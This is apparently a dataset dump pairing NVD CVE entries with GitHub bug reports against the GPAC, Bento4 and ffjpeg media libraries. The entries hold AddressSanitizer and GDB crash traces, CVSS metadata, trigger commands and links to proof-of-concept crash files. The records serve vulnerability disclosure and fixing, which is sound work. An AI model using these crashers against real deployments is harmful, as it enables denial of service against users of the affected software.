==71438==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000000591 at pc 0x7ffa85321aff bp 0x7ffc13f5e4b0 sp 0x7ffc13f5e4a0
READ of size 1 at 0x603000000591 thread T0
#0 0x7ffa85321afe in audio_sample_entry_AddBox /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_code_base.c:3934
#1 0x7ffa853f002c in gf_isom_box_array_read_ex /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:1327
#2 0x7ffa8533c83b in audio_sample_entry_Read /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_code_base.c:3999
#3 0x7ffa853ef142 in gf_isom_box_read /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:1385
#4 0x7ffa853ef142 in gf_isom_box_parse_ex /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:199
#5 0x7ffa853efec3 in gf_isom_box_array_read_ex /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:1277
#6 0x7ffa85329db7 in unkn_Read /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_code_base.c:762
#7 0x7ffa853ef142 in gf_isom_box_read /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:1385
#8 0x7ffa853ef142 in gf_isom_box_parse_ex /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:199
#9 0x7ffa853efec3 in gf_isom_box_array_read_ex /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:1277
#10 0x7ffa853ef142 in gf_isom_box_read /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:1385
#11 0x7ffa853ef142 in gf_isom_box_parse_ex /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:199
#12 0x7ffa853efec3 in gf_isom_box_array_read_ex /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:1277
#13 0x7ffa8533a0fc in minf_Read /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_code_base.c:3513
#14 0x7ffa853ef142 in gf_isom_box_read /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:1385
#15 0x7ffa853ef142 in gf_isom_box_parse_ex /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:199
#16 0x7ffa853efec3 in gf_isom_box_array_read_ex /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:1277
#17 0x7ffa853367f3 in mdia_Read /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_code_base.c:3034
#18 0x7ffa853ef142 in gf_isom_box_read /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:1385
#19 0x7ffa853ef142 in gf_isom_box_parse_ex /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:199
#20 0x7ffa853efec3 in gf_isom_box_array_read_ex /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:1277
#21 0x7ffa85354187 in trak_Read /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_code_base.c:6905
#22 0x7ffa853ef142 in gf_isom_box_read /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:1385
#23 0x7ffa853ef142 in gf_isom_box_parse_ex /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:199
#24 0x7ffa853efec3 in gf_isom_box_array_read_ex /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:1277
#25 0x7ffa85329db7 in unkn_Read /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_code_base.c:762
#26 0x7ffa853f1363 in gf_isom_box_read /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:1385
#27 0x7ffa853f1363 in gf_isom_box_parse_ex /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:199
#28 0x7ffa853f20c5 in gf_isom_parse_root_box /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:42
#29 0x7ffa8541e398 in gf_isom_parse_movie_boxes /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/isom_intern.c:206
#30 0x7ffa854237a4 in gf_isom_open_file /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/isom_intern.c:615
#31 0x55e7b46eb046 in mp4boxMain /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/applications/mp4box/main.c:4539
#32 0x7ffa822c6b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#33 0x55e7b46ca199 in _start (/home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/build_asan/bin/gcc/MP4Box+0xac199)
0x603000000591 is located 0 bytes to the right of 17-byte region [0x603000000580,0x603000000591)
allocated by thread T0 here:
#0 0x7ffa887fcb50 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb50)
#1 0x7ffa85329a80 in unkn_Read /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_code_base.c:742
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_code_base.c:3934 in audio_sample_entry_AddBox
Shadow bytes around the buggy address:
0x0c067fff8060: fa fa 00 00 02 fa fa fa 00 00 05 fa fa fa 00 00
0x0c067fff8070: 04 fa fa fa 00 00 00 01 fa fa 00 00 06 fa fa fa
0x0c067fff8080: 00 00 01 fa fa fa 00 00 02 fa fa fa 00 00 00 01
0x0c067fff8090: fa fa 00 00 05 fa fa fa 00 00 04 fa fa fa 00 00
0x0c067fff80a0: 02 fa fa fa 00 00 04 fa fa fa 00 00 00 00 fa fa
=>0x0c067fff80b0: 00 00[01]fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff80c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff80d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff80e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff80f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff8100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==71438==ABORTING
```
GDB info:
```
malloc_consolidate(): invalid chunk size
Program received signal SIGABRT, Aborted.
__GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:51
51 ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
(gdb) bt
#0 __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:51
#1 0x00007ffff7350801 in __GI_abort () at abort.c:79
#2 0x00007ffff7399897 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7ffff74c6b9a "%s\n") at ../sysdeps/posix/libc_fatal.c:181
#3 0x00007ffff73a090a in malloc_printerr (str=str@entry=0x7ffff74c83f0 "malloc_consolidate(): invalid chunk size") at malloc.c:5350
#4 0x00007ffff73a0bae in malloc_consolidate (av=av@entry=0x7ffff76fbc40 <main_arena>) at malloc.c:4441
#5 0x00007ffff73a47d8 in _int_malloc (av=av@entry=0x7ffff76fbc40 <main_arena>, bytes=bytes@entry=4096) at malloc.c:3703
#6 0x00007ffff73a70fc in __GI___libc_malloc (bytes=4096) at malloc.c:3057
#7 0x00007ffff738e18c in __GI__IO_file_doallocate (fp=0x5555557a6260) at filedoalloc.c:101
#8 0x00007ffff739e379 in __GI__IO_doallocbuf (fp=fp@entry=0x5555557a6260) at genops.c:365
#9 0x00007ffff739ad23 in _IO_new_file_seekoff (fp=0x5555557a6260, offset=0, dir=2, mode=<optimized out>) at fileops.c:960
#10 0x00007ffff7398dd9 in fseeko (fp=fp@entry=0x5555557a6260, offset=offset@entry=0, whence=whence@entry=2) at fseeko.c:36
#11 0x00007ffff77527c9 in gf_fseek (fp=fp@entry=0x5555557a6260, offset=offset@entry=0, whence=whence@entry=2)
at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/utils/os_file.c:756
#12 0x00007ffff7753323 in gf_bs_from_file (f=0x5555557a6260, mode=mode@entry=0) at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/utils/bitstream.c:179
#13 0x00007ffff7894173 in gf_isom_fdm_new (sPath=<optimized out>, mode=<optimized out>) at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/data_map.c:453
#14 0x00007ffff7894400 in gf_isom_datamap_new (location=<optimized out>, location@entry=0x7fffffffe197 "../../poc14-heapoverflow", parentPath=parentPath@entry=0x0,
mode=mode@entry=1 '\001', outDataMap=outDataMap@entry=0x5555557a68b0) at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/data_map.c:185
#15 0x00007ffff789cf66 in gf_isom_open_progressive (fileName=<optimized out>, start_range=0, end_range=0, the_file=0x5555557a5738 <file>, BytesMissing=0x7fffffff9390)
at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/isom_read.c:367
#16 0x000055555556f48b in mp4boxMain (argc=<optimized out>, argv=<optimized out>) at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/applications/mp4box/main.c:4542
#17 0x00007ffff7331b97 in __libc_start_main (main=0x555555561e30 <main>, argc=3, argv=0x7fffffffdd98, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>,
stack_end=0x7fffffffdd88) at ../csu/libc-start.c:310
#18 0x0000555555561e6a in _start ()
``` | AddressSanitizer: heap-buffer-overflow in audio_sample_entry_AddBox() at box_code_base.c:3934 | https://api.github.com/repos/gpac/gpac/issues/1180/comments | 7 | 2018-12-15T07:16:20Z | 2019-09-21T07:29:30Z | https://github.com/gpac/gpac/issues/1180 | 391,352,422 | 1,180 |
CVE-2018-21017 | 2019-09-16T13:15:11.573 | GPAC 0.7.1 has a memory leak in dinf_Read in isomedia/box_code_base.c. | {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
},
"exploitabilityScore": 8.6,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Primary",
"userInteractionRequired": true
}
],
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"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/gpac/gpac/commit/d2371b4b204f0a3c0af51ad4e9b491144dd1225c"
},
{
"source": "[email protected]",
"tags": [
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"Patch",
"Third Party Advisory"
],
"url": "https://github.com/gpac/gpac/issues/1183"
}
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] | https://github.com/gpac/gpac/issues/1183 | [
"Exploit",
"Patch",
"Third Party Advisory"
] | github.com | [
"gpac",
"gpac"
] | Tested in Ubuntu 18.04, 64bit, gcc 7.3.0, gpac (master d1c4bc3)
Compile cmd:
`$ ./configure --extra-cflags="-fsanitize=address,undefined -g" --extra-ldflags="-fsanitize=address,undefined -ldl -g"`
`$ make`
Triggered by
`$ MP4Box -diso $POC`
POC file:
https://github.com/Marsman1996/pocs/blob/master/gpac/poc13-leak
ASAN info:
```
ubuntu@ubuntu-virtual-machine:~/Desktop/crashana/gpac/gpac-d1c4bc3/build_asan$
./bin/gcc/MP4Box -diso ../../poc13-leak
[iso file] Unknown box type mo2v
[iso file] Box "mvhd" is invalid in container mo2v
[iso file] Box "href" is invalid in container dinf
[iso file] Unknown box type stb.
[iso file] Box "trik" is invalid in container stb.
[iso file] Read Box type .... (0x01000000) has size 0 but is not at root/file level, skipping
[iso file] Box "stpp" size 15 invalid (read 33)
[iso file] Box "stpp" is invalid in container stb.
[iso file] Unknown box type pts.
[iso file] Box "UNKN" is larger than container box
[iso file] Missing dref box in dinf
[iso file] Box "dinf" size 44 invalid (read 494)
[iso file] Box "trik" is invalid in container minf
[iso file] Read Box type .... (0x01000000) has size 0 but is not at root/file level, skipping
[iso file] Box "stpp" size 15 invalid (read 33)
[iso file] Box "stpp" is invalid in container minf
[iso file] Unknown box type pts.
[iso file] Box "trak" size 128 invalid (read 714)
[iso file] Unknown box type
[iso file] Incomplete box UNKN
[iso file] Incomplete file while reading for dump - aborting parsing
[iso file] Unknown box type mo2v
[iso file] Box "mvhd" is invalid in container mo2v
[iso file] Box "href" is invalid in container dinf
[iso file] Unknown box type stb.
[iso file] Box "trik" is invalid in container stb.
[iso file] Read Box type .... (0x01000000) has size 0 but is not at root/file level, skipping
[iso file] Box "stpp" size 15 invalid (read 33)
[iso file] Box "stpp" is invalid in container stb.
[iso file] Unknown box type pts.
[iso file] Box "UNKN" is larger than container box
[iso file] Missing dref box in dinf
[iso file] Box "dinf" size 44 invalid (read 494)
[iso file] Box "trik" is invalid in container minf
[iso file] Read Box type .... (0x01000000) has size 0 but is not at root/file level, skipping
[iso file] Box "stpp" size 15 invalid (read 33)
[iso file] Box "stpp" is invalid in container minf
[iso file] Unknown box type pts.
[iso file] Box "trak" size 128 invalid (read 714)
[iso file] Unknown box type
Truncated file - missing 1936916471 bytes
Error opening file ../../poc13-leak: IsoMedia File is truncated
=================================================================
==93222==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 40 byte(s) in 1 object(s) allocated from:
#0 0x7fed213dcb50 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb50)
#1 0x7fed1df0b7fa in dref_New /home/ubuntu/Desktop/crashana/gpac/gpac-d1c4bc3/src/isomedia/box_code_base.c:1012
SUMMARY: AddressSanitizer: 40 byte(s) leaked in 1 allocation(s).
```
| AddressSanitizer: memory leaks of dref_New() | https://api.github.com/repos/gpac/gpac/issues/1183/comments | 2 | 2018-12-17T15:51:57Z | 2019-09-20T21:34:54Z | https://github.com/gpac/gpac/issues/1183 | 391,773,951 | 1,183 |
CVE-2019-16349 | 2019-09-16T13:15:12.043 | Bento4 1.5.1-628 has a NULL pointer dereference in AP4_ByteStream::ReadUI32 in Core/Ap4ByteStream.cpp when called from the AP4_TrunAtom class. | {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
},
"exploitabilityScore": 8.6,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Primary",
"userInteractionRequired": true
}
],
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/axiomatic-systems/Bento4/issues/422"
}
] | [
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"Exploit",
"Third Party Advisory"
] | github.com | [
"axiomatic-systems",
"Bento4"
] | Tested in Ubuntu 14.04, 64bit, Bento4(master cbebcc9)
Triggered by cmd:
`$ ./mp4tag --list-symbols --list-keys --show-tags $POC`
POC file:
https://github.com/Marsman1996/pocs/blob/master/bento4/poc19-ReadUI32-SEGV
ASAN info:
```
==14819== WARNING: AddressSanitizer failed to allocate 0x000ff00000c0 bytes
ASAN:SIGSEGV
=================================================================
==14819== ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x00000046a233 sp 0x7ffc0a9ef970 bp 0x7ffc0a9efa00 T0)
AddressSanitizer can not provide additional info.
#0 0x46a232 in AP4_ByteStream::ReadUI32(unsigned int&) code/Source/C++/Core/Ap4ByteStream.cpp:243
#1 0x4e75d1 in AP4_TrunAtom::AP4_TrunAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&) code/Source/C++/Core/Ap4TrunAtom.cpp:130
#2 0x4e713b in AP4_TrunAtom::Create(unsigned int, AP4_ByteStream&) code/Source/C++/Core/Ap4TrunAtom.cpp:51
#3 0x4627b9 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) code/Source/C++/Core/Ap4AtomFactory.cpp:414
#4 0x4611c3 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) code/Source/C++/Core/Ap4AtomFactory.cpp:231
#5 0x479d0a in AP4_DrefAtom::AP4_DrefAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) code/Source/C++/Core/Ap4DrefAtom.cpp:84
#6 0x479956 in AP4_DrefAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) code/Source/C++/Core/Ap4DrefAtom.cpp:50
#7 0x463367 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) code/Source/C++/Core/Ap4AtomFactory.cpp:545
#8 0x4611c3 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) code/Source/C++/Core/Ap4AtomFactory.cpp:231
#9 0x460b39 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, AP4_Atom*&) code/Source/C++/Core/Ap4AtomFactory.cpp:151
#10 0x47d6a6 in AP4_File::ParseStream(AP4_ByteStream&, AP4_AtomFactory&, bool) code/Source/C++/Core/Ap4File.cpp:104
#11 0x47d1a9 in AP4_File::AP4_File(AP4_ByteStream&, bool) code/Source/C++/Core/Ap4File.cpp:78
#12 0x45546a in main code/Source/C++/Apps/Mp4Tag/Mp4Tag.cpp:821
#13 0x7f144e0c7f44 (/lib/x86_64-linux-gnu/libc.so.6+0x21f44)
#14 0x451308 in _start (bin_asan/bin/mp4tag+0x451308)
SUMMARY: AddressSanitizer: SEGV code/Source/C++/Core/Ap4ByteStream.cpp:243 AP4_ByteStream::ReadUI32(unsigned int&)
==14819== ABORTING
``` | NULL Pointer Dereference in AP4_ByteStream::ReadUI32() at Ap4ByteStream.cpp:243 | https://api.github.com/repos/axiomatic-systems/Bento4/issues/422/comments | 0 | 2019-08-18T06:57:23Z | 2019-08-25T16:20:06Z | https://github.com/axiomatic-systems/Bento4/issues/422 | 481,961,506 | 422 |
CVE-2019-16350 | 2019-09-16T13:15:12.107 | ffjpeg before 2019-08-18 has a NULL pointer dereference in idct2d8x8() at dct.c. | {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
},
"exploitabilityScore": 8.6,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Primary",
"userInteractionRequired": true
}
],
"cvssMetricV30": null,
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"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/rockcarry/ffjpeg/issues/10"
}
] | [
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] | https://github.com/rockcarry/ffjpeg/issues/10 | [
"Exploit",
"Third Party Advisory"
] | github.com | [
"rockcarry",
"ffjpeg"
] | ## Test Environment
Ubuntu 14.04, 64bit, ffjpeg(master 627c8a9)
## How to trigger
1. compile ffjpeg with cmake file from https://github.com/rockcarry/ffjpeg/issues/6
2. `$ ./ffjpeg -d $POC`
## POC file
https://github.com/Marsman1996/pocs/blob/master/ffjpeg/poc20-idct2d8x8-SEGV
## Details
### Asan report
```
ASAN:SIGSEGV
=================================================================
==21545== ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x00000040db78 sp 0x7ffd4681f2e0 bp 0x7ffd4681f340 T0)
AddressSanitizer can not provide additional info.
#0 0x40db77 in idct2d8x8 /home/aota10/MARS_fuzzcompare/test/ffjpeg/code/dct.c:201
#1 0x40605b in jfif_decode /home/aota10/MARS_fuzzcompare/test/ffjpeg/code/jfif.c:508
#2 0x401a70 in main /home/aota10/MARS_fuzzcompare/test/ffjpeg/code/ffjpeg.c:25
#3 0x7f8448218f44 (/lib/x86_64-linux-gnu/libc.so.6+0x21f44)
#4 0x401858 in _start (/home/aota10/MARS_fuzzcompare/test/ffjpeg/bin_asan/bin/ffjpeg+0x401858)
SUMMARY: AddressSanitizer: SEGV /home/aota10/MARS_fuzzcompare/test/ffjpeg/code/dct.c:201 idct2d8x8
==21545== ABORTING
```
### GDB report
```
Program received signal SIGSEGV, Segmentation fault.
0x0000000000406402 in idct2d8x8 (data=0x7fffffffe070, ftab=0xffffffff)
at /home/aota10/MARS_fuzzcompare/test/ffjpeg/code/dct.c:201
201 data[ctr] *= ftab[ctr];
(gdb) bt
#0 0x0000000000406402 in idct2d8x8 (data=0x7fffffffe070, ftab=0xffffffff)
at /home/aota10/MARS_fuzzcompare/test/ffjpeg/code/dct.c:201
#1 0x0000000000403435 in jfif_decode (ctxt=0x60a010, pb=0x7fffffffe1a0)
at /home/aota10/MARS_fuzzcompare/test/ffjpeg/code/jfif.c:508
#2 0x0000000000401672 in main (argc=3, argv=0x7fffffffe2a8)
at /home/aota10/MARS_fuzzcompare/test/ffjpeg/code/ffjpeg.c:25
``` | NULL Pointer Dereference in idct2d8x8() at dct.c:201 | https://api.github.com/repos/rockcarry/ffjpeg/issues/10/comments | 2 | 2019-08-18T08:03:41Z | 2019-08-19T03:27:30Z | https://github.com/rockcarry/ffjpeg/issues/10 | 481,966,251 | 10 |
CVE-2019-16351 | 2019-09-16T13:15:12.183 | ffjpeg before 2019-08-18 has a NULL pointer dereference in huffman_decode_step() at huffman.c. | {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
},
"exploitabilityScore": 8.6,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Primary",
"userInteractionRequired": true
}
],
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/rockcarry/ffjpeg/issues/11"
}
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"Exploit",
"Third Party Advisory"
] | github.com | [
"rockcarry",
"ffjpeg"
] | ## Test Environment
Ubuntu 14.04, 64bit, ffjpeg(master 627c8a9)
## How to trigger
1. compile ffjpeg with cmake file from https://github.com/rockcarry/ffjpeg/issues/6
2. `$ ./ffjpeg -d $POC`
## POC file
https://github.com/Marsman1996/pocs/blob/master/ffjpeg/poc21-huffman_decode_step-SEGV
## Details
### Asan report
```
ASAN:SIGSEGV
=================================================================
==19241== ERROR: AddressSanitizer: SEGV on unknown address 0x000000001590 (pc 0x000000410e8b sp 0x7fff54e12780 bp 0x7fff54e127a0 T0)
AddressSanitizer can not provide additional info.
#0 0x410e8a in huffman_decode_step /home/aota10/MARS_fuzzcompare/test/ffjpeg/code/huffman.c:371
#1 0x405f04 in jfif_decode /home/aota10/MARS_fuzzcompare/test/ffjpeg/code/jfif.c:493
#2 0x401a70 in main /home/aota10/MARS_fuzzcompare/test/ffjpeg/code/ffjpeg.c:25
#3 0x7f8d44273f44 (/lib/x86_64-linux-gnu/libc.so.6+0x21f44)
#4 0x401858 in _start (/home/aota10/MARS_fuzzcompare/test/ffjpeg/bin_asan/bin/ffjpeg+0x401858)
SUMMARY: AddressSanitizer: SEGV /home/aota10/MARS_fuzzcompare/test/ffjpeg/code/huffman.c:371 huffman_decode_step
==19241== ABORTING
```
### GDB report
```
Program received signal SIGSEGV, Segmentation fault.
0x000000000040775f in huffman_decode_step (phc=0x0)
at /home/aota10/MARS_fuzzcompare/test/ffjpeg/code/huffman.c:371
371 if (!phc->input) return EOF;
(gdb) bt
#0 0x000000000040775f in huffman_decode_step (phc=0x0)
at /home/aota10/MARS_fuzzcompare/test/ffjpeg/code/huffman.c:371
#1 0x0000000000403357 in jfif_decode (ctxt=0x60a010, pb=0x7fffffffe190)
at /home/aota10/MARS_fuzzcompare/test/ffjpeg/code/jfif.c:493
#2 0x0000000000401672 in main (argc=3, argv=0x7fffffffe298)
at /home/aota10/MARS_fuzzcompare/test/ffjpeg/code/ffjpeg.c:25
``` | SEGV in huffman_decode_step() at huffman.c:371 | https://api.github.com/repos/rockcarry/ffjpeg/issues/11/comments | 2 | 2019-08-18T08:04:59Z | 2019-08-19T03:27:21Z | https://github.com/rockcarry/ffjpeg/issues/11 | 481,966,330 | 11 |
CVE-2019-16352 | 2019-09-16T13:15:12.247 | ffjpeg before 2019-08-21 has a heap-based buffer overflow in jfif_load() at jfif.c. | {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
},
"exploitabilityScore": 8.6,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Primary",
"userInteractionRequired": true
}
],
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"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/rockcarry/ffjpeg/issues/12"
}
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] | https://github.com/rockcarry/ffjpeg/issues/12 | [
"Exploit",
"Third Party Advisory"
] | github.com | [
"rockcarry",
"ffjpeg"
] | ## Test Environment
Ubuntu 14.04, 64bit, ffjpeg(master 627c8a9)
## How to trigger
1. compile ffjpeg with cmake file from https://github.com/rockcarry/ffjpeg/issues/6
2. `$ ./ffjpeg -d $POC`
## POC file
